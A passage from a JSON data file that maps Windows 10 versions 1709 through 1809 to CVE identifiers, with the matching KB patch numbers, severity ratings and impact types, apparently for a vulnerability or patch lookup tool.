Privilege"},{"cve":"CVE-2018-0882","kb":"4088782","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0886","kb":"4103731","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0952","kb":"4343885","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0975","kb":"4093107","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0982","kb":"4284874","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8174","kb":"4103731","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8208","kb":"4284874","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8214","kb":"4284874","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8410","kb":"4457138","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462937","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462937","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457138","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462937","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8495","kb":"4462937","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8544","kb":"4467696","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467696","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8584","kb":"4467696","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103731","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480973","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480973","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487020","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480973","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0571","kb":"4480973","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0572","kb":"4480973","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0573","kb":"4480973","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0574","kb":"4480973","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493474","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493474","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493474","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493474","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493474","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493474","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493474","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0841","kb":"4493474","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1069","kb":"4503279","severity":"Important","impact":"Elevation of Privilege"}],"Windows 10 Version 1709 for 32-bit Systems":[{"cve":"CVE-2017-11830","kb":"4048955","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11885","kb":"4054517","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0743","kb":"4056892","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0748","kb":"4056892","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056892","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0752","kb":"4056892","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0821","kb":"4074588","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0822","kb":"4074588","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0823","kb":"4074588","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4103727","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0826","kb":"4074588","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0832","kb":"4074588","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0877","kb":"4088776","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0880","kb":"4088776","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0886","kb":"4103727","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088776","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088776","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088776","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0952","kb":"4343897","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0975","kb":"4093112","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0982","kb":"4284819","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8174","kb":"4103727","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8208","kb":"4284819","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8214","kb":"4284819","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8410","kb":"4457142","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462918","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457142","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462918","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8495","kb":"4462918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8544","kb":"4467686","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467686","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8584","kb":"4467686","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103727","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4486996","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0571","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0572","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0573","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0574","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493441","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0841","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1069","kb":"4503284","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534276","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537789","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540681","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550927","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556812","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556812","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571741","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571741","severity":"Important","impact":"Spoofing"}],"Windows 10 Version 1709 for ARM64-based Systems":[{"cve":"CVE-2018-8544","kb":"4467686","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467686","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8584","kb":"4467686","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4486996","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0571","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0572","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0573","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0574","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493441","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0841","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1069","kb":"4503284","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1476","kb":"4530714","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534276","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537789","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540681","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550927","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556812","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556812","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571741","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571741","severity":"Important","impact":"Spoofing"}],"Windows 10 Version 1709 for x64-based Systems":[{"cve":"CVE-2017-11830","kb":"4048955","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11885","kb":"4054517","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0743","kb":"4056892","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0748","kb":"4056892","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056892","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0752","kb":"4056892","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0821","kb":"4074588","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0822","kb":"4074588","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0823","kb":"4074588","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4103727","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0826","kb":"4074588","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0832","kb":"4074588","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0880","kb":"4088776","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0886","kb":"4103727","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088776","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088776","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088776","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0952","kb":"4343897","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0975","kb":"4093112","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0982","kb":"4284819","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8174","kb":"4103727","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8208","kb":"4284819","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8214","kb":"4284819","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8410","kb":"4457142","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462918","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457142","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462918","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8495","kb":"4462918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8544","kb":"4467686","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467686","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8584","kb":"4467686","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103727","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4486996","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0571","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0572","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0573","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0574","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493441","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0841","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1069","kb":"4503284","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1476","kb":"4530714","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534276","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537789","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540681","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550927","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556812","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556812","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571741","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571741","severity":"Important","impact":"Spoofing"}],"Windows 10 Version 1803 for 32-bit Systems":[{"cve":"CVE-2018-0824","kb":"4103721","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0886","kb":"4103721","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0952","kb":"4343909","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0982","kb":"4284835","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8174","kb":"4103721","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8208","kb":"4284835","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8214","kb":"4284835","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8410","kb":"4457128","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462919","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462919","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457128","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462919","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8495","kb":"4462919","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8544","kb":"4467702","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467702","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8584","kb":"4467702","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103721","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487017","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0571","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0572","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0573","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0574","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493464","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0841","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1069","kb":"4503286","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1322","kb":"4520008","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1476","kb":"4530717","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534293","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537762","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540689","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550922","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556807","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556807","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571709","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571709","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003174","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003174","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1732","kb":"4601354","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-26863","kb":"5000809","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-27094","kb":"5001339","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001339","severity":"Important","impact":"Security Feature Bypass"}],"Windows 10 Version 1803 for ARM64-based Systems":[{"cve":"CVE-2018-8544","kb":"4467702","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467702","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8584","kb":"4467702","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487017","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0571","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0572","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0573","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0574","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493464","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0841","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1069","kb":"4503286","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1322","kb":"4520008","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1476","kb":"4530717","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534293","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537762","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540689","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550922","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556807","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556807","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571709","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571709","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003174","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003174","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1732","kb":"4601354","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-26863","kb":"5000809","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-27094","kb":"5001339","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001339","severity":"Important","impact":"Security Feature Bypass"}],"Windows 10 Version 1803 for x64-based Systems":[{"cve":"CVE-2018-0824","kb":"4103721","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0886","kb":"4103721","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0952","kb":"4343909","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0982","kb":"4284835","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8174","kb":"4103721","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8208","kb":"4284835","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8214","kb":"4284835","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8410","kb":"4457128","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462919","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462919","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457128","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462919","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8495","kb":"4462919","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8544","kb":"4467702","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467702","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8584","kb":"4467702","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103721","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487017","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0571","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0572","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0573","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0574","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493464","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0841","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1069","kb":"4503286","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1322","kb":"4520008","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1476","kb":"4530717","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534293","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537762","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540689","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550922","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556807","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556807","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571709","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571709","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003174","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003174","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1732","kb":"4601354","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-26863","kb":"5000809","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-27094","kb":"5001339","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001339","severity":"Important","impact":"Security Feature Bypass"}],"Windows 10 Version 1809 for 32-bit Systems":[{"cve":"CVE-2018-0886","kb":"4551853","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8411","kb":"4464330","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4464330","severity":"Important","impact":"Remote Code 